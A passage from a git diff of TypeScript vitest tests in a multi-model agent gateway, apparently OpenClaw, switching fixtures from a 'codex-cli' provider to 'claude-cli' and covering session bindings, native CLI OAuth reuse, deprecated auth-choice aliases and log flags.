defaultProvider: "codex-cli",
defaultModel: "gpt-5.4",
defaultProvider: "claude-cli",
defaultModel: "claude-sonnet-4-6",
result,
});
expect(sessionStore[sessionKey]?.modelProvider).toBe("codex-cli");
expect(sessionStore[sessionKey]?.model).toBe("gpt-5.4");
expect(sessionStore[sessionKey]?.cliSessionBindings?.["claude-cli"]).toEqual({
sessionId: "cli-session-123",
});
expect(sessionStore[sessionKey]?.cliSessionIds?.["claude-cli"]).toBe("cli-session-123");
expect(sessionStore[sessionKey]?.claudeCliSessionId).toBe("cli-session-123");
const persisted = loadSessionStore(storePath);
expect(persisted[sessionKey]?.modelProvider).toBe("codex-cli");
expect(persisted[sessionKey]?.model).toBe("gpt-5.4");
expect(persisted[sessionKey]?.cliSessionBindings?.["claude-cli"]).toEqual({
sessionId: "cli-session-123",
});
expect(persisted[sessionKey]?.cliSessionIds?.["claude-cli"]).toBe("cli-session-123");
expect(persisted[sessionKey]?.claudeCliSessionId).toBe("cli-session-123");
});
});

View File

@@ -78,6 +78,13 @@ vi.mock("../plugins/provider-runtime.js", () => ({
}
return undefined;
}
if (params.provider === "claude-cli") {
return {
apiKey: "claude-cli-access-token",
source: "Claude CLI native auth",
mode: "oauth" as const,
};
}
if (params.provider !== "ollama") {
return undefined;
}
@@ -486,6 +493,28 @@ describe("resolveApiKeyForProvider", () => {
).rejects.toThrow('No API key found for provider "xai"');
});
it("reuses native Claude CLI auth for the claude-cli provider", async () => {
const resolved = await resolveApiKeyForProvider({
provider: "claude-cli",
cfg: {
agents: {
defaults: {
model: {
primary: "claude-cli/claude-sonnet-4-6",
},
},
},
},
store: { version: 1, profiles: {} },
});
expect(resolved).toEqual({
apiKey: "claude-cli-access-token",
source: "Claude CLI native auth",
mode: "oauth",
});
});
it("prefers explicit api-key provider config over ambient auth profiles", async () => {
const resolved = await resolveApiKeyForProvider({
provider: "openai",

View File

@@ -68,7 +68,7 @@ const ZAI_GLM5_CASE = {
function createRuntimeHooks() {
return createProviderRuntimeTestMock({
handledDynamicProviders: ["anthropic", "zai", "openai-codex"],
handledDynamicProviders: ["anthropic", "claude-cli", "zai", "openai-codex"],
});
}
@@ -123,6 +123,28 @@ function runAnthropicSonnetForwardCompatFallback() {
});
}
function runClaudeCliSonnetForwardCompatFallback() {
expectResolvedForwardCompatFallbackWithRegistryResult({
result: resolveModelWithRegistry({
provider: "claude-cli",
modelId: "claude-sonnet-4-6",
agentDir: "/tmp/agent",
modelRegistry: createRegistry([
{
provider: "anthropic",
modelId: "claude-sonnet-4-5",
model: ANTHROPIC_SONNET_TEMPLATE,
},
]),
runtimeHooks: createRuntimeHooks(),
}),
expectedModel: {
...ANTHROPIC_SONNET_EXPECTED,
provider: "claude-cli",
},
});
}
function runZaiForwardCompatFallback() {
const result = resolveModelWithRegistry({
provider: ZAI_GLM5_CASE.provider,
@@ -154,5 +176,10 @@ describe("resolveModel forward-compat tail", () => {
runAnthropicSonnetForwardCompatFallback,
);
it(
"preserves the claude-cli provider for anthropic forward-compat fallback models",
runClaudeCliSonnetForwardCompatFallback,
);
it("builds a zai forward-compat fallback for glm-5", runZaiForwardCompatFallback);
});

View File

@@ -324,7 +324,8 @@ function buildDynamicModel(
maxTokens: patch.maxTokens ?? DEFAULT_CONTEXT_WINDOW,
});
}
case "anthropic": {
case "anthropic":
case "claude-cli": {
if (lower !== "claude-opus-4-6" && lower !== "claude-sonnet-4-6") {
return undefined;
}

View File

@@ -28,7 +28,7 @@ function createCliBackendTestConfig() {
agents: {
defaults: {
cliBackends: {
"codex-cli": {},
"claude-cli": {},
"google-gemini-cli": {},
},
},
@@ -185,7 +185,10 @@ describe("runReplyAgent onAgentRunStart", () => {
messageProvider: "webchat",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
config: createCliBackendTestConfig(),
config:
provider === "claude-cli"
? { agents: { defaults: { cliBackends: { "claude-cli": {} } } } }
: createCliBackendTestConfig(),
skillsSnapshot: {},
provider,
model,
@@ -245,16 +248,16 @@ describe("runReplyAgent onAgentRunStart", () => {
payloads: [{ text: "ok" }],
meta: {
agentMeta: {
provider: "codex-cli",
model: "gpt-5.4",
provider: "claude-cli",
model: "opus-4.5",
},
},
});
const onAgentRunStart = vi.fn();
const result = await createRun({
provider: "codex-cli",
model: "gpt-5.4",
provider: "claude-cli",
model: "opus-4.5",
opts: { runId: "run-started", onAgentRunStart },
});
@@ -1516,7 +1519,7 @@ describe("runReplyAgent block streaming", () => {
});
});
describe("runReplyAgent cli routing", () => {
describe("runReplyAgent claude-cli routing", () => {
function createRun() {
const typing = createMockTypingController();
const sessionCtx = {
@@ -1536,10 +1539,10 @@ describe("runReplyAgent cli routing", () => {
messageProvider: "webchat",
sessionFile: "/tmp/session.jsonl",
workspaceDir: "/tmp",
config: { agents: { defaults: { cliBackends: { "codex-cli": {} } } } },
config: { agents: { defaults: { cliBackends: { "claude-cli": {} } } } },
skillsSnapshot: {},
provider: "codex-cli",
model: "gpt-5.4",
provider: "claude-cli",
model: "opus-4.5",
thinkLevel: "low",
verboseLevel: "off",
elevatedLevel: "off",
@@ -1564,7 +1567,7 @@ describe("runReplyAgent cli routing", () => {
isStreaming: false,
typing,
sessionCtx,
defaultModel: "codex-cli/gpt-5.4",
defaultModel: "claude-cli/opus-4.5",
resolvedVerboseLevel: "off",
isNewSession: false,
blockStreamingEnabled: false,
@@ -1574,7 +1577,7 @@ describe("runReplyAgent cli routing", () => {
});
}
it("uses the embedded runner for codex-cli providers", async () => {
it("uses the embedded runner for claude-cli provider", async () => {
const runId = "00000000-0000-0000-0000-000000000001";
const randomSpy = vi.spyOn(crypto, "randomUUID").mockReturnValue(runId);
const lifecyclePhases: string[] = [];
@@ -1594,8 +1597,8 @@ describe("runReplyAgent cli routing", () => {
payloads: [{ text: "ok" }],
meta: {
agentMeta: {
provider: "codex-cli",
model: "gpt-5.4",
provider: "claude-cli",
model: "opus-4.5",
},
},
});

View File

@@ -1583,6 +1583,14 @@ describe("initSessionState preserves behavior overrides across /new and /reset",
authProfileOverride: "20251001",
authProfileOverrideSource: "user",
authProfileOverrideCompactionCount: 2,
cliSessionIds: { "claude-cli": "cli-session-123" },
cliSessionBindings: {
"claude-cli": {
sessionId: "cli-session-123",
authProfileId: "anthropic:default",
},
},
claudeCliSessionId: "cli-session-123",
} as const;
const cases = [
{
@@ -1633,6 +1641,14 @@ describe("initSessionState preserves behavior overrides across /new and /reset",
authProfileOverrideSource: overrides.authProfileOverrideSource,
authProfileOverrideCompactionCount: overrides.authProfileOverrideCompactionCount,
});
expect(result.sessionEntry.cliSessionIds).toBeUndefined();
expect(result.sessionEntry.cliSessionBindings).toBeUndefined();
expect(result.sessionEntry.claudeCliSessionId).toBeUndefined();
const stored = JSON.parse(await fs.readFile(storePath, "utf-8"));
expect(stored[sessionKey].cliSessionIds).toBeUndefined();
expect(stored[sessionKey].cliSessionBindings).toBeUndefined();
expect(stored[sessionKey].claudeCliSessionId).toBeUndefined();
}
});
@@ -2100,13 +2116,26 @@ describe("persistSessionUsageUpdate", () => {
sessionKey,
usage: { input: 24_000, output: 2_000, cacheRead: 8_000 },
usageIsContextSnapshot: true,
providerUsed: "codex-cli",
providerUsed: "claude-cli",
cliSessionBinding: {
sessionId: "cli-session-1",
authProfileId: "anthropic:default",
extraSystemPromptHash: "prompt-hash",
mcpConfigHash: "mcp-hash",
},
contextTokensUsed: 200_000,
});
const stored = JSON.parse(await fs.readFile(storePath, "utf-8"));
expect(stored[sessionKey].totalTokens).toBe(32_000);
expect(stored[sessionKey].totalTokensFresh).toBe(true);
expect(stored[sessionKey].cliSessionIds?.["claude-cli"]).toBe("cli-session-1");
expect(stored[sessionKey].cliSessionBindings?.["claude-cli"]).toEqual({
sessionId: "cli-session-1",
authProfileId: "anthropic:default",
extraSystemPromptHash: "prompt-hash",
mcpConfigHash: "mcp-hash",
});
});
it("persists totalTokens from promptTokens when usage is unavailable", async () => {

View File

@@ -197,17 +197,17 @@ describe("gateway run option collisions", () => {
);
});
it.each([["--cli-backend-logs", "generic flag"]])(
"enables CLI backend log filtering via %s (%s)",
async (flag) => {
delete process.env.OPENCLAW_CLI_BACKEND_LOG_OUTPUT;
it.each([
["--cli-backend-logs", "generic flag"],
["--claude-cli-logs", "deprecated alias"],
])("enables CLI backend log filtering via %s (%s)", async (flag) => {
delete process.env.OPENCLAW_CLI_BACKEND_LOG_OUTPUT;
await runGatewayCli(["gateway", "run", flag, "--allow-unconfigured"]);
await runGatewayCli(["gateway", "run", flag, "--allow-unconfigured"]);
expect(setConsoleSubsystemFilter).toHaveBeenCalledWith(["agent/cli-backend"]);
expect(process.env.OPENCLAW_CLI_BACKEND_LOG_OUTPUT).toBe("1");
},
);
expect(setConsoleSubsystemFilter).toHaveBeenCalledWith(["agent/cli-backend"]);
expect(process.env.OPENCLAW_CLI_BACKEND_LOG_OUTPUT).toBe("1");
});
it("starts gateway when token mode has no configured token (startup bootstrap path)", async () => {
await runGatewayCli(["gateway", "run", "--allow-unconfigured"]);

View File

@@ -604,6 +604,7 @@ export function addGatewayRunCommand(cmd: Command): Command {
"Only show CLI backend logs in the console (includes stdout/stderr)",
false,
)
.option("--claude-cli-logs", "Deprecated alias for --cli-backend-logs", false)
.option("--ws-log <style>", 'WebSocket log style ("auto"|"full"|"compact")', "auto")
.option("--compact", 'Alias for "--ws-log compact"', false)
.option("--raw-stream", "Log raw model stream events to jsonl", false)

View File

@@ -0,0 +1,277 @@
import fs from "node:fs";
import path from "node:path";
import { beforeEach, describe, expect, it, vi } from "vitest";
import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js";
import "../cron/isolated-agent.mocks.js";
import { __testing as acpManagerTesting } from "../acp/control-plane/manager.js";
import * as cliRunnerModule from "../agents/cli-runner.js";
import { FailoverError } from "../agents/failover-error.js";
import { loadModelCatalog } from "../agents/model-catalog.js";
import * as modelSelectionModule from "../agents/model-selection.js";
import { runEmbeddedPiAgent } from "../agents/pi-embedded.js";
import type { OpenClawConfig } from "../config/config.js";
import * as configModule from "../config/config.js";
import { clearSessionStoreCacheForTest } from "../config/sessions.js";
import { resetAgentEventsForTest, resetAgentRunContextForTest } from "../infra/agent-events.js";
import { resetPluginRuntimeStateForTest } from "../plugins/runtime.js";
import type { RuntimeEnv } from "../runtime.js";
import { agentCommand } from "./agent.js";
vi.mock("../logging/subsystem.js", () => {
const createMockLogger = () => ({
subsystem: "test",
isEnabled: vi.fn(() => true),
trace: vi.fn(),
info: vi.fn(),
warn: vi.fn(),
error: vi.fn(),
debug: vi.fn(),
fatal: vi.fn(),
raw: vi.fn(),
child: vi.fn(() => createMockLogger()),
});
return {
createSubsystemLogger: vi.fn(() => createMockLogger()),
};
});
vi.mock("../agents/workspace.js", () => ({
DEFAULT_AGENT_WORKSPACE_DIR: "/tmp/openclaw-workspace",
DEFAULT_AGENTS_FILENAME: "AGENTS.md",
DEFAULT_IDENTITY_FILENAME: "IDENTITY.md",
resolveDefaultAgentWorkspaceDir: () => "/tmp/openclaw-workspace",
ensureAgentWorkspace: vi.fn(async ({ dir }: { dir: string }) => ({ dir })),
}));
vi.mock("../agents/skills.js", () => ({
buildWorkspaceSkillSnapshot: vi.fn(() => undefined),
loadWorkspaceSkillEntries: vi.fn(() => []),
}));
vi.mock("../agents/skills/refresh.js", () => ({
getSkillsSnapshotVersion: vi.fn(() => 0),
}));
const runtime: RuntimeEnv = {
log: vi.fn(),
error: vi.fn(),
exit: vi.fn(() => {
throw new Error("exit");
}),
};
const configSpy = vi.spyOn(configModule, "loadConfig");
const readConfigFileSnapshotForWriteSpy = vi.spyOn(configModule, "readConfigFileSnapshotForWrite");
const runCliAgentSpy = vi.spyOn(cliRunnerModule, "runCliAgent");
async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise<T> {
return withTempHomeBase(fn, { prefix: "openclaw-agent-cli-" });
}
function mockConfig(
home: string,
storePath: string,
agentOverrides?: Partial<NonNullable<NonNullable<OpenClawConfig["agents"]>["defaults"]>>,
) {
const cfg = {
agents: {
defaults: {
model: { primary: "anthropic/claude-opus-4-6" },
models: { "anthropic/claude-opus-4-6": {} },
workspace: path.join(home, "openclaw"),
...agentOverrides,
},
},
session: { store: storePath, mainKey: "main" },
} as OpenClawConfig;
configSpy.mockReturnValue(cfg);
return cfg;
}
function writeSessionStoreSeed(
storePath: string,
sessions: Record<string, Record<string, unknown>>,
) {
fs.mkdirSync(path.dirname(storePath), { recursive: true });
fs.writeFileSync(storePath, JSON.stringify(sessions, null, 2));
}
function readSessionStore<T>(storePath: string): Record<string, T> {
return JSON.parse(fs.readFileSync(storePath, "utf-8")) as Record<string, T>;
}
function createDefaultAgentResult() {
return {
payloads: [{ text: "ok" }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
};
}
function expectLastEmbeddedProviderModel(provider: string, model: string): void {
const callArgs = vi.mocked(runEmbeddedPiAgent).mock.calls.at(-1)?.[0];
expect(callArgs?.provider).toBe(provider);
expect(callArgs?.model).toBe(model);
}
beforeEach(() => {
vi.clearAllMocks();
clearSessionStoreCacheForTest();
resetAgentEventsForTest();
resetAgentRunContextForTest();
resetPluginRuntimeStateForTest();
acpManagerTesting.resetAcpSessionManagerForTests();
configModule.clearRuntimeConfigSnapshot();
runCliAgentSpy.mockResolvedValue(createDefaultAgentResult() as never);
vi.mocked(runEmbeddedPiAgent).mockResolvedValue(createDefaultAgentResult());
vi.mocked(loadModelCatalog).mockResolvedValue([]);
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false);
readConfigFileSnapshotForWriteSpy.mockResolvedValue({
snapshot: { valid: false, resolved: {} as OpenClawConfig },
writeOptions: {},
} as Awaited<ReturnType<typeof configModule.readConfigFileSnapshotForWrite>>);
});
describe("agentCommand CLI provider handling", () => {
it("rejects explicit CLI overrides that are outside the models allowlist", async () => {
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(
(provider) => provider.trim().toLowerCase() === "claude-cli",
);
try {
await withTempHome(async (home) => {
const store = path.join(home, "sessions.json");
mockConfig(home, store, {
models: {
"openai/gpt-4.1-mini": {},
},
});
await expect(
agentCommand(
{
message: "use disallowed cli override",
sessionKey: "agent:main:subagent:cli-override-error",
model: "claude-cli/opus",
},
runtime,
),
).rejects.toThrow('Model override "claude-cli/opus" is not allowed for agent "main".');
});
} finally {
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false);
}
});
it("clears stored CLI overrides when they fall outside the models allowlist", async () => {
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(
(provider) => provider.trim().toLowerCase() === "claude-cli",
);
try {
await withTempHome(async (home) => {
const store = path.join(home, "sessions.json");
writeSessionStoreSeed(store, {
"agent:main:subagent:clear-cli-overrides": {
sessionId: "session-clear-cli-overrides",
updatedAt: Date.now(),
providerOverride: "claude-cli",
modelOverride: "opus",
},
});
mockConfig(home, store, {
model: { primary: "openai/gpt-4.1-mini" },
models: {
"openai/gpt-4.1-mini": {},
},
});
vi.mocked(loadModelCatalog).mockResolvedValueOnce([
{ id: "gpt-4.1-mini", name: "GPT-4.1 Mini", provider: "openai" },
{ id: "opus", name: "Opus", provider: "claude-cli" },
]);
await agentCommand(
{
message: "hi",
sessionKey: "agent:main:subagent:clear-cli-overrides",
},
runtime,
);
expectLastEmbeddedProviderModel("openai", "gpt-4.1-mini");
const saved = readSessionStore<{
providerOverride?: string;
modelOverride?: string;
}>(store);
expect(saved["agent:main:subagent:clear-cli-overrides"]?.providerOverride).toBeUndefined();
expect(saved["agent:main:subagent:clear-cli-overrides"]?.modelOverride).toBeUndefined();
});
} finally {
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false);
}
});
it("clears stale Claude CLI legacy session IDs before retrying after session expiration", async () => {
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(
(provider) => provider.trim().toLowerCase() === "claude-cli",
);
try {
await withTempHome(async (home) => {
const store = path.join(home, "sessions.json");
const sessionKey = "agent:main:subagent:cli-expired";
writeSessionStoreSeed(store, {
[sessionKey]: {
sessionId: "session-cli-123",
updatedAt: Date.now(),
providerOverride: "claude-cli",
modelOverride: "opus",
cliSessionIds: { "claude-cli": "stale-cli-session" },
claudeCliSessionId: "stale-legacy-session",
},
});
mockConfig(home, store, {
model: { primary: "claude-cli/opus", fallbacks: [] },
models: { "claude-cli/opus": {} },
});
runCliAgentSpy
.mockRejectedValueOnce(
new FailoverError("session expired", {
reason: "session_expired",
provider: "claude-cli",
model: "opus",
status: 410,
}),
)
.mockRejectedValue(new Error("retry failed"));
await expect(agentCommand({ message: "hi", sessionKey }, runtime)).rejects.toThrow(
"retry failed",
);
expect(runCliAgentSpy).toHaveBeenCalledTimes(2);
const firstCall = runCliAgentSpy.mock.calls[0]?.[0] as
| { cliSessionId?: string }
| undefined;
const secondCall = runCliAgentSpy.mock.calls[1]?.[0] as
| { cliSessionId?: string }
| undefined;
expect(firstCall?.cliSessionId).toBe("stale-cli-session");
expect(secondCall?.cliSessionId).toBeUndefined();
const saved = readSessionStore<{
cliSessionIds?: Record<string, string>;
claudeCliSessionId?: string;
}>(store);
expect(saved[sessionKey]?.cliSessionIds?.["claude-cli"]).toBeUndefined();
expect(saved[sessionKey]?.claudeCliSessionId).toBeUndefined();
});
} finally {
vi.mocked(modelSelectionModule.isCliProvider).mockImplementation(() => false);
}
});
});

View File

@@ -569,17 +569,20 @@ describe("agentCommand", () => {
await withTempHome(async (home) => {
const store = path.join(home, "sessions.json");
mockConfig(home, store, {
model: { primary: "codex-cli/gpt-5.4" },
models: { "codex-cli/gpt-5.4": {} },
model: { primary: "claude-cli/claude-sonnet-4-6" },
models: { "claude-cli/claude-sonnet-4-6": {} },
});
vi.mocked(runEmbeddedPiAgent).mockResolvedValue({
payloads: [{ text: "ok" }],
meta: {
durationMs: 5,
agentMeta: {
sessionId: "codex-cli-session-1",
provider: "codex-cli",
model: "gpt-5.4",
sessionId: "claude-cli-session-1",
provider: "claude-cli",
model: "claude-sonnet-4-6",
cliSessionBinding: {
sessionId: "claude-cli-session-1",
},
},
},
});

View File

@@ -137,7 +137,7 @@ describe("updateSessionStoreAfterAgentRun", () => {
agents: {
defaults: {
cliBackends: {
"codex-cli": {},
"claude-cli": {},
},
},
},
@@ -156,15 +156,19 @@ describe("updateSessionStoreAfterAgentRun", () => {
sessionKey: first.sessionKey!,
storePath: first.storePath,
sessionStore: first.sessionStore!,
defaultProvider: "codex-cli",
defaultModel: "gpt-5.4",
defaultProvider: "claude-cli",
defaultModel: "claude-sonnet-4-6",
result: {
payloads: [],
meta: {
agentMeta: {
provider: "codex-cli",
model: "gpt-5.4",
sessionId: "codex-cli-session-1",
provider: "claude-cli",
model: "claude-sonnet-4-6",
sessionId: "claude-cli-session-1",
cliSessionBinding: {
sessionId: "claude-cli-session-1",
authEpoch: "auth-epoch-1",
},
},
},
} as never,
@@ -176,11 +180,15 @@ describe("updateSessionStoreAfterAgentRun", () => {
});
expect(second.sessionKey).toBe(first.sessionKey);
expect(second.sessionEntry?.modelProvider).toBe("codex-cli");
expect(second.sessionEntry?.model).toBe("gpt-5.4");
expect(second.sessionEntry?.cliSessionBindings?.["claude-cli"]).toEqual({
sessionId: "claude-cli-session-1",
authEpoch: "auth-epoch-1",
});
const persisted = loadSessionStore(storePath, { skipCache: true })[first.sessionKey!];
expect(persisted?.modelProvider).toBe("codex-cli");
expect(persisted?.model).toBe("gpt-5.4");
expect(persisted?.cliSessionBindings?.["claude-cli"]).toEqual({
sessionId: "claude-cli-session-1",
authEpoch: "auth-epoch-1",
});
});
});

View File

@@ -7,19 +7,18 @@ import {
} from "./auth-choice-legacy.js";
describe("auth choice legacy aliases", () => {
it("maps codex-cli to the plugin-backed Codex choice", () => {
expect(normalizeLegacyOnboardAuthChoice("codex-cli")).toBe("openai-codex");
expect(resolveDeprecatedAuthChoiceReplacement("codex-cli")).toEqual({
normalized: "openai-codex",
message:
'Auth choice "codex-cli" is deprecated; using OpenAI Codex (ChatGPT OAuth) setup instead.',
it("maps claude-cli to the new anthropic cli choice", () => {
expect(normalizeLegacyOnboardAuthChoice("claude-cli")).toBe("anthropic-cli");
expect(resolveDeprecatedAuthChoiceReplacement("claude-cli")).toEqual({
normalized: "anthropic-cli",
message: 'Auth choice "claude-cli" is deprecated; using Anthropic Claude CLI setup instead.',
});
expect(formatDeprecatedNonInteractiveAuthChoiceError("codex-cli")).toBe(
'Auth choice "codex-cli" is deprecated.\nUse "--auth-choice openai-codex".',
expect(formatDeprecatedNonInteractiveAuthChoiceError("claude-cli")).toBe(
'Auth choice "claude-cli" is deprecated.\nUse "--auth-choice anthropic-cli".',
);
});
it("sources deprecated cli aliases from plugin manifests", () => {
expect(resolveLegacyAuthChoiceAliasesForCli()).toEqual(["codex-cli"]);
expect(resolveLegacyAuthChoiceAliasesForCli()).toEqual(["claude-cli", "codex-cli"]);
});
});

View File

@@ -317,6 +317,14 @@ describe("buildAuthChoiceOptions", () => {
it("can include legacy aliases in cli help choices", () => {
resolveManifestProviderAuthChoices.mockReturnValue([
{
pluginId: "anthropic",
providerId: "anthropic",
methodId: "cli",
choiceId: "anthropic-cli",
choiceLabel: "Anthropic Claude CLI",
deprecatedChoiceIds: ["claude-cli"],
},
{
pluginId: "openai",
providerId: "openai-codex",
@@ -332,6 +340,7 @@ describe("buildAuthChoiceOptions", () => {
includeSkip: true,
}).split("|");
expect(cliChoices).toContain("claude-cli");
expect(cliChoices).toContain("codex-cli");
});
@@ -412,7 +421,7 @@ describe("buildAuthChoiceOptions", () => {
expect(litellmGroup?.options.some((opt) => opt.value === "litellm-api-key")).toBe(true);
});
it("sorts grouped provider options by assistant priority", () => {
it("prefers Anthropic Claude CLI over API key in grouped selection", () => {
resolveManifestProviderAuthChoices.mockReturnValue([
{
pluginId: "anthropic",
@@ -426,9 +435,9 @@ describe("buildAuthChoiceOptions", () => {
{
pluginId: "anthropic",
providerId: "anthropic",
methodId: "setup-token",
choiceId: "setup-token",
choiceLabel: "Anthropic setup-token",
methodId: "cli",
choiceId: "anthropic-cli",
choiceLabel: "Anthropic Claude CLI",
assistantPriority: -20,
groupId: "anthropic",
groupLabel: "Anthropic",
@@ -442,7 +451,7 @@ describe("buildAuthChoiceOptions", () => {
expect(anthropicGroup).toBeDefined();
expect(anthropicGroup?.options.map((option) => option.value)).toEqual([
"setup-token",
"anthropic-cli",
"apiKey",
]);
});

View File

@@ -253,17 +253,18 @@ describe("applyAuthChoiceLoadedPluginProvider", () => {
agents: {
defaults: {
model: {
primary: "codex-cli/gpt-5.4",
fallbacks: ["openai/gpt-5.2"],
primary: "claude-cli/claude-sonnet-4-6",
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
},
models: {
"codex-cli/gpt-5.4": { alias: "Codex" },
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
"claude-cli/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
},
},
},
},
defaultModel: "codex-cli/gpt-5.4",
defaultModel: "claude-cli/claude-sonnet-4-6",
}),
};
@@ -291,11 +292,12 @@ describe("applyAuthChoiceLoadedPluginProvider", () => {
});
expect(result.config.agents?.defaults?.model).toEqual({
primary: "codex-cli/gpt-5.4",
fallbacks: ["openai/gpt-5.2"],
primary: "claude-cli/claude-sonnet-4-6",
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
});
expect(result.config.agents?.defaults?.models).toEqual({
"codex-cli/gpt-5.4": { alias: "Codex" },
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
"claude-cli/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
});
});

View File

@@ -49,19 +49,19 @@ describe("resolvePreferredProviderForAuthChoice", () => {
it("normalizes legacy auth choices before plugin lookup", async () => {
resolveManifestDeprecatedProviderAuthChoice.mockReturnValue({
choiceId: "openai-codex",
choiceLabel: "OpenAI Codex (ChatGPT OAuth)",
choiceId: "anthropic-cli",
choiceLabel: "Anthropic Claude CLI",
});
resolveManifestProviderAuthChoice.mockReturnValue({
pluginId: "openai",
providerId: "openai-codex",
methodId: "oauth",
choiceId: "openai-codex",
choiceLabel: "OpenAI Codex (ChatGPT OAuth)",
pluginId: "anthropic",
providerId: "anthropic",
methodId: "cli",
choiceId: "anthropic-cli",
choiceLabel: "Anthropic Claude CLI",
});
await expect(resolvePreferredProviderForAuthChoice({ choice: "codex-cli" })).resolves.toBe(
"openai-codex",
await expect(resolvePreferredProviderForAuthChoice({ choice: "claude-cli" })).resolves.toBe(
"anthropic",
);
expect(resolveProviderPluginChoice).not.toHaveBeenCalled();
expect(resolvePluginProviders).not.toHaveBeenCalled();
@@ -70,21 +70,21 @@ describe("resolvePreferredProviderForAuthChoice", () => {
it("passes explicit env through legacy auth normalization", async () => {
const env = { OPENCLAW_AUTH_CHOICE_TEST: "1" } as NodeJS.ProcessEnv;
resolveManifestDeprecatedProviderAuthChoice.mockReturnValue({
choiceId: "openai-codex",
choiceLabel: "OpenAI Codex (ChatGPT OAuth)",
choiceId: "anthropic-cli",
choiceLabel: "Anthropic Claude CLI",
});
resolveManifestProviderAuthChoice.mockReturnValue({
pluginId: "openai",
providerId: "openai-codex",
methodId: "oauth",
choiceId: "openai-codex",
choiceLabel: "OpenAI Codex (ChatGPT OAuth)",
pluginId: "anthropic",
providerId: "anthropic",
methodId: "cli",
choiceId: "anthropic-cli",
choiceLabel: "Anthropic Claude CLI",
});
await expect(resolvePreferredProviderForAuthChoice({ choice: "codex-cli", env })).resolves.toBe(
"openai-codex",
);
expect(resolveManifestDeprecatedProviderAuthChoice).toHaveBeenCalledWith("codex-cli", { env });
await expect(
resolvePreferredProviderForAuthChoice({ choice: "claude-cli", env }),
).resolves.toBe("anthropic");
expect(resolveManifestDeprecatedProviderAuthChoice).toHaveBeenCalledWith("claude-cli", { env });
});
it("uses manifest metadata for plugin-owned choices", async () => {

View File

@@ -1,243 +0,0 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { captureEnv } from "../test-utils/env.js";
import { maybeRepairRemovedAnthropicClaudeCliState } from "./doctor-auth-anthropic-claude-cli.js";
import type { DoctorPrompter } from "./doctor-prompter.js";
import type { DoctorRepairMode } from "./doctor-repair-mode.js";
let envSnapshot: ReturnType<typeof captureEnv>;
let tempAgentDir: string | undefined;
function makePrompter(confirmValue: boolean): DoctorPrompter {
const repairMode: DoctorRepairMode = {
shouldRepair: confirmValue,
shouldForce: false,
nonInteractive: false,
canPrompt: true,
updateInProgress: false,
};
return {
confirm: async () => confirmValue,
confirmAutoFix: async () => confirmValue,
confirmAggressiveAutoFix: async () => confirmValue,
confirmRuntimeRepair: async () => confirmValue,
select: async <T>(_params: unknown, fallback: T) => fallback,
shouldRepair: repairMode.shouldRepair,
shouldForce: repairMode.shouldForce,
repairMode,
};
}
beforeEach(() => {
envSnapshot = captureEnv(["OPENCLAW_AGENT_DIR", "PI_CODING_AGENT_DIR"]);
tempAgentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
process.env.OPENCLAW_AGENT_DIR = tempAgentDir;
process.env.PI_CODING_AGENT_DIR = tempAgentDir;
});
afterEach(() => {
envSnapshot.restore();
if (tempAgentDir) {
fs.rmSync(tempAgentDir, { recursive: true, force: true });
tempAgentDir = undefined;
}
});
describe("maybeRepairRemovedAnthropicClaudeCliState", () => {
it("converts stored Claude CLI Anthropic auth back to anthropic and removes stale config", async () => {
if (!tempAgentDir) {
throw new Error("Missing temp agent dir");
}
const authPath = path.join(tempAgentDir, "auth-profiles.json");
fs.writeFileSync(
authPath,
`${JSON.stringify(
{
version: 1,
profiles: {
"anthropic:claude-cli": {
type: "oauth",
provider: "claude-cli",
access: "token-a",
refresh: "token-r",
expires: Date.now() + 60_000,
email: "user@example.com",
},
},
order: {
anthropic: ["anthropic:claude-cli"],
"claude-cli": ["anthropic:claude-cli"],
},
lastGood: {
anthropic: "anthropic:claude-cli",
"claude-cli": "anthropic:claude-cli",
},
usageStats: {
"anthropic:claude-cli": {
cooldownUntil: Date.now() + 30_000,
cooldownReason: "rate_limit",
},
},
},
null,
2,
)}\n`,
"utf8",
);
const next = await maybeRepairRemovedAnthropicClaudeCliState(
{
auth: {
profiles: {
"anthropic:claude-cli": {
provider: "claude-cli",
mode: "oauth",
},
},
order: {
anthropic: ["anthropic:claude-cli"],
"claude-cli": ["anthropic:claude-cli"],
},
},
agents: {
defaults: {
model: {
primary: "claude-cli/claude-sonnet-4-6",
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.4"],
},
models: {
"claude-cli/claude-sonnet-4-6": { alias: "Claude" },
},
cliBackends: {
"claude-cli": { command: "claude" },
"codex-cli": { command: "codex" },
},
},
},
} as OpenClawConfig,
makePrompter(true),
);
expect(next.auth?.profiles?.["anthropic:claude-cli"]).toBeUndefined();
expect(next.auth?.profiles?.["anthropic:user@example.com"]).toMatchObject({
provider: "anthropic",
mode: "oauth",
email: "user@example.com",
});
expect(next.auth?.order?.anthropic).toEqual(["anthropic:user@example.com"]);
expect(next.auth?.order?.["claude-cli"]).toBeUndefined();
expect(next.agents?.defaults?.model).toEqual({
primary: "anthropic/claude-sonnet-4-6",
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.4"],
});
expect(next.agents?.defaults?.models?.["claude-cli/claude-sonnet-4-6"]).toBeUndefined();
expect(next.agents?.defaults?.models?.["anthropic/claude-sonnet-4-6"]).toEqual({
alias: "Claude",
});
expect(next.agents?.defaults?.cliBackends?.["claude-cli"]).toBeUndefined();
